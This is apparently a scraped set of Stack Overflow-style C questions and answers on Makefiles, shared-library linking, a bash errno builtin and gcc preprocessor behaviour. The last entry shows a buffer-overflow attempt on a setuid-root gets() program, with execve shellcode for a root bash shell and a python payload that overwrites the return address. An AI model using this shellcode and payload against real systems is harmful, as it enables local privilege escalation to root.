this may sound stupid. but I only have .c file(openfile.c) and it looks like this:
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char* argv[]){
char* path = argv[1];
mode_t mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH;
int fd = open(path, O_WRONLY | O_EXCL | O_CREAT, mode);
if(fd == -1){
perror("open");
return 1;
}
return 0;
}
and i want to write a Makefile for it.So it shouldnt be hard. The Makefile looks like this:
openfile: openfile.c
gcc -c -o openfile openfile.c
because i dont have/need a openfile.h so i just need one openfile.c. An d it compiles and when i run the ./openfile, bang, it says: bash: ./openfile: Permission denied
so wheres the problem? do i have to write a .h file?
The problem is that you don't need -c. When you pass -c to gcc it doesn't perform linking step, so you actually get o-file.
Related
Similar questions got asked a lot, but I still don't quite get what's wrong with how I compiled and installed my shared library.
As far as compiling goes I do
> gcc -c -fPIC libt.c
> gcc -shared -Wl,-soname,libt.so.0 -o libt.so.0.1 libt.o
In order to install the library I run
> cp libt.so.0.1 /usr/local/lib/
> cp libt.h /usr/local/include/
> ln -s /usr/local/lib/libt.so.0.1 /usr/local/lib/libt.so.0 # ldconfig would setup this symlink itself ...
> ln -s /usr/local/lib/libt.so.0 /usr/local/lib/libt.so # ... but not this one, so I do it myself
> sudo ldconfig
/usr/local/lib is included in /etc/ld.so.conf.d/libc.conf, and ldconfig -p | grep libt yields
libt.so.0 (libc6,x86-64) => /usr/local/lib/libt.so.0
libt.so (libc6,x86-64) => /usr/local/lib/libt.so
So, as far as I can tell, everything looks okay until this point. However, compiling a program that's supposed to use my library fails:
> gcc -o prog main.c -llibt
/usr/bin/ld: cannot find -llibt
libt.h
#ifndef libt_h__
#define libt_h__
extern int add(int, int);
#endif
libt.c
int
add(int a, int b)
{
return a + b;
}
main.c
#include <stdio.h>
#include <stdlib.h>
#include "libt.h"
void
print_usage()
{
printf("usage: ./prog <number a> <number b>\n");
}
int
main(int argc, char *argv[])
{
int a = 0, b = 0, c = 0;
if (argc != 3) {
print_usage();
return 1;
}
a = atoi(argv[1]);
b = atoi(argv[2]);
c = add(a, b);
printf("%d\n", c);
return 0;
}
Figured it out. While library names have to be prefixed with "lib", that prefix must not be specified when linking. That is, gcc -o prog main.c -llibt is wrong while gcc -o prog main.c -lt works as expected.
Which is to say:
$ cp /usr/cat c
$ ./c
(different window)
$ echo foo > c
-bash: c: Text file busy
$ echo $?
1
Technically, internally the actual write returned -ETXTBSY (-26). Is there a way to get that code instead of 1 with regular bash tools? Short of parsing the text or writing a short C program (this is in a weirdly controlled environment).
Is there a way to get that code
You can write a builtin module that prints errno.
The following source code saved as geterrno.c:
#include <config.h>
#if defined (HAVE_UNISTD_H)
#include <unistd.h>
#endif
#include <stdio.h>
#include <sys/types.h>
#include "posixstat.h"
#include <stdio.h>
#include <pwd.h>
#include <grp.h>
#include <errno.h>
#include "posixtime.h"
#include "bashansi.h"
#include "shell.h"
#include "builtins.h"
#include "common.h"
#include "bashgetopt.h"
static int geterrno_builtin(WORD_LIST *list) {
printf("%d\n", errno);
return (EXECUTION_SUCCESS);
}
static char *doc[] = {
"geterrno: prints errno",
NULL
};
struct builtin geterrno_struct = {
"geterrno",
geterrno_builtin,
BUILTIN_ENABLED,
doc,
"getrrno: prints errno",
0,
};
compiled and loaded with:
$ gcc -DHAVE_CONFIG_H -DSHELL -I/usr/include/bash -I/usr/include/bash/include -I/usr/include/bash/builtins -I/usr/lib/bash -fPIC -shared -o libgeterrno.so
$ enable -f ./libgeterrno.so geterrno
After that, you can potentially with a lot of luck:
$ geterrno ; echo a > c ; geterrno
0
bash: c: Text file busy
26
with regular bash tools?
No, that is impossible.
Makefile isn't using implicit rules correctly. I am following this guide here.
Here's my makefile:
objects = main.o hello.o
hello : $(objects)
cc -o hello $(objects)
hello.o : defs.h
main.o : defs.h hello.h
.PHONY : clean
clean :
-rm hello $(objects)
I get the following error:
cc: error: main.o: No such file or directory
It creates the object code hello.o, but does not do it for main.c. If I swap lines and main is above, it'll create main.o but not hello.o.
Here's my main.c file:
#include "defs.h"
#include "hello.h"
int main(int argc, char** argv) {
display_hello();
return (EXIT_SUCCESS);
}
Here's my hello.c file:
#include "defs.h"
void display_hello()
{
printf("Hello!\n");
}
My hello.h file:
#ifndef HELLO_H
#define HELLO_H
#ifdef __cplusplus
extern "C" {
#endif
#ifdef __cplusplus
}
#endif
#endif /* HELLO_H */
void display_hello();
Here's my defs.h file:
#ifndef DEFS_H
#define DEFS_H
#ifdef __cplusplus
extern "C" {
#endif
#ifdef __cplusplus
}
#endif
#endif /* DEFS_H */
#include <stdio.h>
#include <stdlib.h>
Works fine for me, I created the files as https://gist.github.com/boyvinall/f23420215707fa3e73e21c3f9a5ff22b
$ make
cc -c -o main.o main.c
cc -c -o hello.o hello.c
cc -o hello main.o hello.o
Might be the version of make like #Beta said, but even an old version of GNU make should work just fine for this.
Otherwise, ensure you're using tabs to indent in the makefile, not spaces.
Is there a reason why the pre-processor strips out attributes when
-U__GNUC__ is specified and there is at least 1 #include directive?
This seems like surprising behaviour to me. Here's an example:
$ cat foo.c
#include <limits.h>
struct S {
int a;
} __attribute__((__packed__));
$ gcc -E -U__GNUC__ foo.c | tail -3
struct S {
int a;
} ;
But if I remove the #include directive (or if I drop -U__GNUC__) then
attributes don't get stripped by the pre-processor which is what I
expect to happen.
$ cat foo2.c
struct S {
int a;
} __attribute__((__packed__));
$ gcc -U__GNUC__ -E foo2.c
# 1 "foo2.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "foo2.c"
struct S {
int a;
} __attribute__((__packed__));
Is this a gcc bug or is there documentation of this behaviour?
On my platform standard headers indirectly include /usr/include/argp.h. And in argp.h it says
#ifndef __attribute__
/* This feature is available in gcc versions 2.5 and later. */
# if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 5) || __STRICT_ANSI__
# define __attribute__(Spec) /* empty */
# endif
...
#endif
I.e. for low values of __GNUC__ and for __STRICT_ANSI__ modes __attribute__ is pre-defined as an empty macro. By undefing __GNUC__ you made it act like 0 in #if contexts. So, the above code turned __attribute__ into an empty macro.
I'm trying a buffer overflow on a simple program
#include <stdio.h>
int main(int argc, char **argv)
{
char buf[8];
gets(buf);
printf("%s\n", buf);
return 0;
}
Compiled with these options
gcc -g exploit1.c -fno-stack-protector -z execstack -o exploit1
The binaries is setuid
ls -al exploit1
-r-sr-x--- 1 root root 6016 janv. 31 01:47 exploit1
So I have disable all stack options and ASLR
My shellcode is:
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
But no root shell appear, I have this error:
python -c 'print "A"*20 + "\xbf\xfe\xff\xbf"'| ./exploit1
-bash: ./exploit1: Permission denied
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
Have I missed something?
You don't have permission to execute exploit1. Root needs to do:
chmod o+x exploit1